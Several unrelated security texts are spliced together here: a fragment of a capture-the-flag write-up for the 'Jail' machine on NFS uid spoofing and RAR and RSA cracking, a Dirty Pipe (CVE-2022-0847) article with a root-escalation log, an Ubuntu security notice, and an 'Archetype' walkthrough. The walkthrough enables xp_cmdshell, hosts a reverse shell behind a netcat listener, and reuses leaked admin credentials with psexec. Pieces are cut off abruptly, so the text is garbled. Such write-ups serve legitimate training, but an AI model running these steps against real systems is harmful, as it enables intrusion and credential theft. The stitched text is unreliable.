As for the var directory, we only have execute permissions on it. However, the user id 1000 has write and execute privileges on the directory.
Let’s go back to the target machine and see which user has the 1000 user id.
The configuration for both directories is the same.
Read and write privileges
The setting root_squash is configured which maps all requests from uid/gid 0 to the anonymous uid/gid. This is why we weren’t able to view the files although the attack machine was running with the uid/gid 0. When we made the request to view the file, our id got mapped to the anonymous id and our request got rejected.
More interestingly, the no_all_squash setting is configured which does NOT map all the requests from other uids/gids to the anonymous uid/gid. This again is the default setting for NFS shares.
To sum up, we can assume the identity of any user on the attack machine except for the root user which automatically gets mapped to the anonymous user.
Going back to the permissions on the NFS directories.
Let’s view the permissions on the directories.root@kali:~/Desktop/htb/jail/nfs# ls -la
total 8
drwxr-xr-x 4 root root 4096 Mar 10 23:18 .
drwxr-xr-x 7 root root 4096 Mar 11 01:49 ..
drwxr-xr-x 4 root root 33 Jun 25 2017 opt
drwx-wx--x 2 root 1000 77 Mar 11 09:37 var
The id 1000 (frank) has write and execute privileges on the var directory. So what we’ll do is add the user frank on our kali machine and change his id to 1000.
root@kali:~/Desktop/htb/jail/nfs# useradd frankroot@kali:~/Desktop/htb/jail/nfs# cat /etc/passwd | grep frank
frank:x:1000:1000::/home/frank:/bin/sh
Now we can enter the var directory.
root@kali:~/Desktop/htb/jail/nfs# cd var
root@kali:~/Desktop/htb/jail/nfs/var#
So the attack vector is as follows. We have write privileges on the var directory. Therefore, what we’ll do is create a setuid program file in the var directory with the privileges of the frank user we just created. Next, we’ll execute the setuid program in the target machine and since it has the setuid bit set and the owner is frank, we should be able to pivot from the nobody user to the frank user.
Let’s first change our user to the frank user.
root@kali:~/Desktop/htb/jail/nfs/var# su frank
Next, create a file setuid.c with the following content.
bash-4.2$ cat note.txt
cat note.txt
Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.
I’m guessing the RAR file is password encrypted and the password is frank’s last name followed by 4 digits and a symbol as stated in the note.
Next, view the content of the .local directory.
bash-4.2$ ls -la
ls -la
total 4
drwxr-x---. 2 root adm 20 Jul 3 2017 .
drwxr-x---. 3 root adm 52 Jul 3 2017 ..
-rw-r-----. 1 root adm 113 Jul 3 2017 .frank
bash-4.2$ cat .frank
cat .frank
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
The .frank file contains cipher text. I tested to see if it is encrypted using a shift cipher, but it’s not. Next, we’ll test it out on a tool called quipquip that automatically tests a bunch of ciphers.
We get a hit back!
Hahaha! Nobody will quess my new password! Only a few lucky souls have Escaped from Alcatraz alive like I did!!!
After googling “Alcatraz escape”, I have a pretty good idea on what the password could be. One of the escaped prisoners is called Frank Morris. Since frank was a user on this box, and the escape was in 1962, I’m going to guess that the password is Morris1962!. And I just got why the box is called Jail!
Let’s transfer the keys.rar file back to our attack machine. To do that, check if netcat is installed on the box.
Now decompress the file with the password we guessed.
unrar x keys.rar
We get a success message and it decompresses the file.
root@kali:~/Desktop/htb/jail/adm# ls -la
total 16
drwxr-xr-x 2 root root 4096 Mar 11 14:32 .
drwxr-xr-x 8 root root 4096 Mar 11 14:20 ..
-rw-r--r-- 1 root root 475 Mar 11 14:30 keys.rar
-rw-r--r-- 1 root root 451 Jul 3 2017 rootauthorizedsshkey.pub
We get a root public key. Before we try to crack it, let’s assume we didn’t get the hints about the password. In that case, you would hash the keys.rar file to a John the Ripper (JtR) acceptable format.
To gain an initial foothold on the box we exploited one vulnerability.
Buffer overflow vulnerability. The Jail service being used was vulnerable to a stack buffer overflow. This allowed us to execute shell code and gain access to the box. The root cause of the buffer overflow vulnerability was lack of input validation. The developer should have validated user input.
To escalate privileges we exploited four vulnerabilities.
Security misconfiguration of NFS shares. The NFS shares were readable and writeable. Therefore, as a remote attacker, we were able to mount shares and add malicious files to the shares that allowed us to pivot to another user (frank). The configuration of NFS shares should have followed the least privilege policy.
Security misconfiguration of user permissions. The user we pivoted to was configured to run the rvim command as another user. We used that security misconfiguration to run the command, escape the rvim shell and pivot that user (adm). Similar to NFS shares, the user permissions should have followed the least privilege policy.
Weak credentials. Now that we have access to another user’s directory, we enumerate the user’s files and find a RAR file that was encrypted with the user’s personal information and therefore was easy to crack. The user should have instead used a sufficiently long password that is difficult to crack.
Weak cryptographic key. After decrypting the RAR file, we found a weak RSA public key to the root’s account. From there we used a tool to recover the corresponding private key and SSHed into the root account. The issue here is not with the RSA algorithm but the parameter that the administrator had used as input to the RSA algorithm. For example, small key sizes, using smaller primes (p & q values), etc. The administrator should have used the guidelines listed in cryptographic standards that ensure secure configuration of the cryptographic algorithm results in strong keys.
The vulnerability is due to an uninitialized “pipe_buffer.flags” variable, which overwrites any file contents in the page cache even if the file is not permitted to be written, immutable, or on a read-only mount, including CD-ROM mounts. That is because the page cache is always writable by the kernel, and writing to a pipe never checks any permissions. This enables attackers to perform privilege escalation by overwriting data in arbitrary read-only files and injecting code from unprivileged processes to privileged processes. Read comprehensive technical details from here.
Associated CVE ID
CVE-2022-0847
Description
A vulnerability in the Linux kernel that allows overwriting data in arbitrary read-only files.
Associated ZDI ID
–
CVSS Score
7.8 High
Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Impact Score
–
Exploitability Score
–
Attack Vector (AV)
Local
Attack Complexity (AC)
Low
Privilege Required (PR)
Low
User Interaction (UI)
None
Scope
Unchanged
Confidentiality (C)
High
Integrity (I)
High
availability (a)
High
Kernel Version Affected By CVE-2022-0847- The Dirty Pipe Vulnerability In Linux Kernel:
The vulnerability exists in kernel versions starting from v5.8 all the way up to 5.15.
Update 9March2022: All ubuntu versions without patch linux-generic-hwe-20.04 from version 5.13.0.35.40~20.04.20 are affected by CVE-2022-0847
We recommend all Linux admins and users check the version of the kernel your machine is currently running on. You can use this simple command to check the version of the kernel.
┌─[✗]─[greenuser@parrot-lt]─[/home/puck/ptd/choker]
└──╼ $cat /etc/os-release
PRETTY_NAME="Parrot OS 5.0 (LTS)"
NAME="Parrot OS"
VERSION_ID="5.0"
VERSION="5.0 (LTS)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.parrotsec.org/"
SUPPORT_URL="https://community.parrotsec.org/"
BUG_REPORT_URL="https://community.parrotsec.org/"
┌─[greenuser@parrot-lt]─[/home/puck/ptd/choker]
└──╼ $uname -rs
Linux 5.14.0-9parrot1-amd64
┌─[greenuser@parrot-lt]─[/home/puck/ptd/choker]
└──╼ $
┌─[greenuser@parrot-lt]─[/home/puck/ptd/choker]
└──╼ $cat /etc/shadow
cat: /etc/shadow: Permission denied
┌─[✗]─[greenuser@parrot-lt]─[/home/puck/ptd/choker]
└──╼ $sudo cat /etc/shadow
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for greenuser:
hillie is not in the sudoers file. This incident will be reported.
┌─[✗]─[greenuser@parrot-lt]─[/home/puck/ptd/choker]
└──╼ $ls
dirtypipe dirtypipez.c exp.c time_teller_executer
Dirty-Pipe.sh exp notes.txt
┌─[greenuser@parrot-lt]─[/home/puck/ptd/choker]
└──╼ $./Dirty-Pipe.sh
./Dirty-Pipe.sh: line 2: exp.c: Permission denied
/usr/bin/ld: cannot open output file exp: Permission denied
collect2: error: ld returned 1 exit status
It worked!
# restore the original password
rm -rf /etc/passwd
mv /tmp/passwd /etc/passwd
┌─[root@parrot-lt]─[/home/puck/ptd/choker]
└──╼ $id
uid=0(root) gid=0(root) groups=0(root)
Note: Before you download and install it on your production server, we recommend testing this on a test machine. Don’t forget to take the full VM snapshot if are upgrading the kernel on a Virtual Image. Or, take filesystem back up if you have a physical server.
Check the kernel version
Before you start upgradation, check the version of the kernel your server has. What if the kernel version is not in the list of affected versions, If so, you can schedule this later as per your time.
Run this command to check the kernel version.
$ uname -rs
Download kernel modules 5.17
Download the kernel packages directly from the kernel.ubuntu.com website. Download the latest version available (At the bottom) from the website to a dedicated directory. Change the permission of the files to execute.
Create a directory in your path:
$ mkdir /home/arunkl/kernel-5.17
Change the directory:
$ cd /home/arunkl/kernel-5.17/
Download these two files (where X.Y.Z is the highest version):
Update 9 March 2022 Ubuntu has patched this exploit 🙂
USN-5317-1: Linux kernel vulnerabilities
=========================================================================
Ubuntu Security Notice USN-5317-1
March 09, 2022
linux, linux-aws, linux-aws-5.13, linux-azure, linux-azure-5.13,
linux-gcp, linux-gcp-5.13, linux-hwe-5.13, linux-kvm, linux-oem-5.14,
linux-oracle, linux-oracle-5.13, linux-raspi vulnerabilities
=========================================================================
A security issue affects these releases of Ubuntu and its derivatives:
– Ubuntu 21.10
– Ubuntu 20.04 LTS
Summary:
Several security issues were fixed in the Linux kernel.
Software Description:
– linux: Linux kernel
– linux-aws: Linux kernel for Amazon Web Services (AWS) systems
– linux-azure: Linux kernel for Microsoft Azure Cloud systems
– linux-gcp: Linux kernel for Google Cloud Platform (GCP) systems
– linux-kvm: Linux kernel for cloud environments
– linux-oracle: Linux kernel for Oracle Cloud systems
– linux-raspi: Linux kernel for Raspberry Pi systems
– linux-aws-5.13: Linux kernel for Amazon Web Services (AWS) systems
– linux-azure-5.13: Linux kernel for Microsoft Azure cloud systems
– linux-gcp-5.13: Linux kernel for Google Cloud Platform (GCP) systems
– linux-hwe-5.13: Linux hardware enablement (HWE) kernel
– linux-oem-5.14: Linux kernel for OEM systems
– linux-oracle-5.13: Linux kernel for Oracle Cloud systems
Details:
Nick Gregory discovered that the Linux kernel incorrectly handled network
offload functionality. A local attacker could use this to cause a denial of
service or possibly execute arbitrary code. (CVE-2022-25636)
Enrico Barberis, Pietro Frigo, Marius Muench, Herbert Bos, and Cristiano
Giuffrida discovered that hardware mitigations added by ARM to their
processors to address Spectre-BTI were insufficient. A local attacker could
potentially use this to expose sensitive information. (CVE-2022-23960)
Max Kellermann discovered that the Linux kernel incorrectly handled Unix
pipes. A local attacker could potentially use this to modify any file that
could be opened for reading. (CVE-2022-0847)
Enrico Barberis, Pietro Frigo, Marius Muench, Herbert Bos, and Cristiano
Giuffrida discovered that hardware mitigations added by Intel to their
processors to address Spectre-BTI were insufficient. A local attacker could
potentially use this to expose sensitive information. (CVE-2022-0001,
CVE-2022-0002)
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
After a standard system update you need to reboot your computer to make
all the necessary changes.
ATTENTION: Due to an unavoidable ABI change the kernel updates have
been given a new version number, which requires you to recompile and
reinstall all third party kernel modules you might have installed.
Unless you manually uninstalled the standard kernel metapackages
(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,
linux-powerpc), a standard system upgrade will automatically perform
this as well.
unknown@kali:/data$ nmap -sC -sV 10.10.10.27
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-12 07:28 CEST
Nmap scan report for 10.10.10.27
Host is up (0.031s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2020-06-12T03:36:15
|_Not valid after: 2050-06-12T03:36:15
|_ssl-date: 2020-06-12T05:43:40+00:00; +14m28s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h38m28s, deviation: 3h07m52s, median: 14m27s
| ms-sql-info:
| 10.10.10.27:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2020-06-11T22:43:35-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-06-12T05:43:34
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.79 seconds
Ports 445 and 1433 are open, which are associated with file sharing (SMB) and SQL Server.
It is worth checking to see if anonymous access has been permitted, as file shares often store configuration files containing passwords or other sensitive information. We can use smbclient to list available shares (use an empty password):
unknown@kali:/data$ smbclient -L //10.10.10.27
Enter WORKGROUP\unknown's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
It seems there is a share called backups. Let’s attempt to access it and see what’s inside.
unknown@kali:/data$ smbclient //10.10.10.27/backups
Enter WORKGROUP\unknown's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 20 13:20:57 2020
.. D 0 Mon Jan 20 13:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 13:23:02 2020
10328063 blocks of size 4096. 8259098 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (4.1 KiloBytes/sec) (average 4.1 KiloBytes/sec)
smb: \> Ctrl^D
There is a dtsConfig file, which is a config file used with SSIS.
We see that it contains a SQL connection string, containing credentials for the local Windows user ARCHETYPE\sql_svc.
Let’s try connecting to the SQL Server using Impacket’s mssqlclient.py.
unknown@kali:/data$ mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> select is_srvrolemember('sysadmin')
-----------
1
SQL>
We can use the IS_SRVROLEMEMBER function to reveal whether the current SQL user has sysadmin (highest level) privileges on the SQL Server. This is successful, and we do indeed have sysadmin privileges.
This will allow us to enable xp_cmdshell and gain RCE on the host. Let’s attempt this, by inputting the commands below.
SQL> EXEC sp_configure 'Show Advanced Options', 1;[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure;
SQL> sp_configure;
name minimum maximum config_value run_value
----------------------------------- ----------- ----------- ------------ -----------
access check cache bucket count 06553600
access check cache quota 0214748364700
Ad Hoc Distributed Queries 0100[REDACTED]
user connections 03276700
user options 03276700
xp_cmdshell 0111
SQL> EXEC sp_configure 'xp_cmdshell', 1[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL> reconfigure;
SQL> xp_cmdshell "whoami"
output
--------------------------------------------------------------------------------
archetype\sql_svc
NULL
SQL>
The whoami command output reveals that the SQL Server is also running in the context of the user ARCHETYPE\sql_svc. However, this account doesn’t seem to have administrative privileges on the host.
Let’s attempt to get a proper shell, and proceed to further enumerate the system. We can save the PowerShell reverse shell below as shell.ps1 (adapt the IP address with yours).
Next, stand up a mini webserver in order to host the file. We can use Python.
unknown@kali:/data/tmp$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80(http://0.0.0.0:80/) ...
After standing up a netcat listener on port 443, we can use ufw to allow the call backs on port 80 and 443 to our machine.
unknown@kali:/data/tmp$ sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443
unknown@kali:/data/tmp$ sudo rlwrap nc -nlvp 443
listening on [any]443 ...
We can now issue the command to download and execute the reverse shell through xp_cmdshell (Once again, adapt with your IP address).
A shell is received as sql_svc, and we can get the user.txt on their desktop.
# whoami
archetype\sql_svc
# more \users\sql_svc\desktop\user.txt
3e7[redacted]1a3
Privilege Escalation
As this is a normal user account as well as a service account, it is worth checking for frequently access files or executed commands. We can use the command below to access the PowerShell history file.
# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
This reveals that the backups drive has been mapped using the local administrator credentials. We can use Impacket’s psexec.py to gain a privileged shell.
unknown@kali:/data$ psexec.py administrator@10.10.10.27
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
Password:MEGACORP_4dm1n!!
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file HbnjRkzA.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service VXMW on 10.10.10.27.....
[*] Starting service VXMW.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
This is successful, and we can now access the flag on the administrator desktop.